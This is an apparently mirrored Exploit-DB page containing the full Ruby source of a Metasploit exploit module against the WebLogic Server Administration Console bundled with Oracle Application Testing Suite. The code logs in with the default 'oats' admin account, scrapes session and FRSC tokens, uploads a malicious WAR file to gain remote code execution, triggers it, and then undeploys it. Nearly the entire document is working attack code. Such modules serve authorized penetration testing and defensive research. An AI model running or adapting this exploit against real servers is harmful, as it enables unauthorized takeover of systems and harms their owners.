Oracle Application Testing Suite – WebLogic Server Administration Console War Deployment (Metasploit)

  • 作者: Metasploit
    日期: 2019-05-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46942/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
    'Description'=> %q{
    This module abuses a feature in WebLogic Server's Administration Console to install
    a malicious Java application in order to gain remote code execution. Authentication
    is required, however by default, Oracle ships with a "oats" account that you could
    log in with, which grants you administrator access.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Steven Seeley', # Used the trick and told me about it
    'sinn3r' # Metasploit module
    ],
    'Platform' => 'java',
    'Arch' => ARCH_JAVA,
    'Targets'=>
    [
    [ 'WebLogic Server Administration Console 12 or prior', { } ]
    ],
    'References' =>
    [
    # The CVE description matches what this exploit is doing, but it was for version
    # 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
    # ['CVE', '2007-2699']
    ],
    'DefaultOptions' =>
    {
    'RPORT' => 8088
    },
    'Notes'=>
    {
    'SideEffects' => [ IOC_IN_LOGS ],
    'Reliability' => [ REPEATABLE_SESSION ],
    'Stability' => [ CRASH_SAFE ]
    },
    'Privileged' => false,
    'DisclosureDate' => 'Mar 13 2019',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
    OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
    OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
    ])
    
    register_advanced_options(
    [
    OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
    ])
    end
    
    class LoginSpec
    attr_accessor :admin_console_session
    end
    
    def login_spec
    @login_spec ||= LoginSpec.new
    end
    
    class OatsWarPayload < MetasploitModule
    attr_reader :name
    attr_reader :war
    
    def initialize(payload)
    @name = [Faker::App.name, Rex::Text.rand_name].sample
    @war = payload.encoded_war(app_name: name).to_s
    end
    end
    
    def default_oats_path
    datastore['DefaultOatsPath']
    end
    
    def war_payload
    @war_payload ||= OatsWarPayload.new(payload)
    end
    
    def set_frsc
    value = get_deploy_frsc
    @frsc = value
    end
    
    def check
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
    })
    
    if res && res.body.include?('Oracle WebLogic Server Administration Console')
    return Exploit::CheckCode::Detected
    end
    
    Exploit::CheckCode::Safe
    end
    
    def set_admin_console_session(res)
    cookie = res.get_cookies
    admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
    vprint_status("Token for console session is: #{admin_console_session}")
    login_spec.admin_console_session = admin_console_session
    end
    
    def is_logged_in?(res)
    html = res.get_html_document
    a_element = html.at('a')
    if a_element.respond_to?(:attributes) && a_element.attributes['href']
    link = a_element.attributes['href'].value
    return URI(link).request_uri == '/console'
    end
    
    false
    end
    
    def do_login
    uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> uri
    })
    
    fail_with(Failure::Unknown, 'No response from server') unless res
    set_admin_console_session(res)
    
    uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> uri,
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_post' =>
    {
    'j_username' => datastore['OATSUSERNAME'],
    'j_password' => datastore['OATSPASSWORD'],
    'j_character_encoding' => 'UTF-8'
    }
    })
    
    fail_with(Failure::Unknown, 'No response while trying to log in') unless res
    fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
    store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
    set_admin_console_session(res)
    end
    
    def get_deploy_frsc
    # First we are just going through the pages in a specific order to get the FRSC value
    # we need to prepare uploading the WAR file.
    res = nil
    requests =
    [
    { path: 'console/', vars: {} },
    { path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
    { path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
    ]
    
    requests.each do |req|
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, req[:path]),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' => req[:vars]
    })
    
    fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
    end
    
    html = res.get_html_document
    hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
    frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
    frsc_attr ? frsc_attr.value : ''
    end
    
    def do_select_upload_action
    action = '/com/bea/console/actions/app/install/selectUploadApp'
    app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie'=> "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get'=>
    {
    'AppApplicationInstallPortlet_actionOverride' => action
    },
    'vars_post' =>
    {
    'AppApplicationInstallPortletselectedAppPath' => app_path,
    'AppApplicationInstallPortletfrsc' => frsc
    }
    })
    
    fail_with(Failure::Unknown, "No response from #{action}") unless res
    end
    
    def do_upload_app_action
    action = '/com/bea/console/actions/app/install/uploadApp'
    ctype = 'application/octet-stream'
    app_cname = 'AppApplicationInstallPortletuploadAppPath'
    plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
    frsc_cname = 'AppApplicationInstallPortletfrsc'
    war = war_payload.war
    war_name = war_payload.name
    post_data = Rex::MIME::Message.new
    post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
    post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
    post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' =>
    {
    'AppApplicationInstallPortlet_actionOverride' => action
    },
     'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
     'data'=> post_data.to_s
    })
    
    fail_with(Failure::Unknown, "No response from #{action}") unless res
    print_response_message(res)
    end
    
    def do_app_select_action
    action = '/com/bea/console/actions/app/install/appSelected'
    war_name = war_payload.name
    app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' =>
    {
    'AppApplicationInstallPortlet_actionOverride' => action
    },
    'vars_post' =>
    {
    'AppApplicationInstallPortletselectedAppPath' => app_path,
    'AppApplicationInstallPortletfrsc'=> frsc
    }
    })
    
    fail_with(Failure::Unknown, "No response from #{action}") unless res
    print_response_message(res)
    end
    
    def do_style_select_action
    action = '/com/bea/console/actions/app/install/targetStyleSelected'
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' =>
    {
    'AppApplicationInstallPortlet_actionOverride' => action
    },
    'vars_post' =>
    {
    'AppApplicationInstallPortlettargetStyle' => 'Application',
    'AppApplicationInstallPortletfrsc'=> frsc
    }
    })
    
    fail_with(Failure::Unknown, "No response from #{action}") unless res
    end
    
    def do_finish_action
    action = '/com/bea/console/actions/app/install/finish'
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' =>
    {
    'AppApplicationInstallPortlet_actionOverride' => action
    },
    'vars_post' =>
    {
    'AppApplicationInstallPortletname' => war_payload.name,
    'AppApplicationInstallPortletsecurityModel'=> 'DDOnly',
    'AppApplicationInstallPortletstagingStyle' => 'Default',
    'AppApplicationInstallPortletplanStagingStyle' => 'Default',
    'AppApplicationInstallPortletfrsc' => frsc
    }
    })
    
    fail_with(Failure::Unknown, "No response from #{action}") unless res
    print_response_message(res)
    
    # 302 is a good enough indicator of a successful upload, otherwise
    # the server would actually return a 200 with an error message.
    res.code == 302
    end
    
    def print_response_message(res)
    html = res.get_html_document
    message_div = html.at('div[@class="message"]')
    if message_div
    msg = message_div.at('span').text
    print_status("Server replies: #{msg.inspect}")
    end
    end
    
    def deploy_war
    set_frsc
    print_status("FRSC value: #{frsc}")
    do_select_upload_action
    do_upload_app_action
    do_app_select_action
    do_style_select_action
    do_finish_action
    end
    
    def goto_war(name)
    print_good("Operation \"#{name}\" is a go!")
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, name)
    })
    
    print_status("Code #{res.code} on \"#{name}\" request") if res
    end
    
    def undeploy_war
    war_name = war_payload.name
    handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
    contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'console', 'console.portal'),
    'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
    'vars_get' =>
    {
    'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
    'AppDeploymentsControlPortlethandle' => handle
    },
    'vars_post' =>
    {
    # For some reason, the value given to the server is escapped twice.
    # The Metasploit API should do it at least once.
    'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
    '_pageLabel' => 'AppApplicationUninstallPage',
    '_nfpb'=> 'true',
    'AppApplicationUninstallPortletfrsc' => frsc
    }
    })
    
    if res && res.code == 302
    print_good("Successfully undeployed #{war_name}.war")
    else
    print_warning("Unable to successfully undeploy #{war_name}.war")
    print_warning('You may want to do so manually.')
    end
    end
    
    def cleanup
    undeploy_war if is_cleanup_ready
    super
    end
    
    def setup
    @is_cleanup_ready = false
    super
    end
    
    def exploit
    unless check == Exploit::CheckCode::Detected
    print_status('Target does not have the login page we are looking for.')
    return
    end
    
    do_login
    print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
    print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
    result = deploy_war
    if result
    @is_cleanup_ready = true
    goto_war(war_payload.name)
    end
    end
    
    attr_reader :frsc
    attr_reader :is_cleanup_ready
    end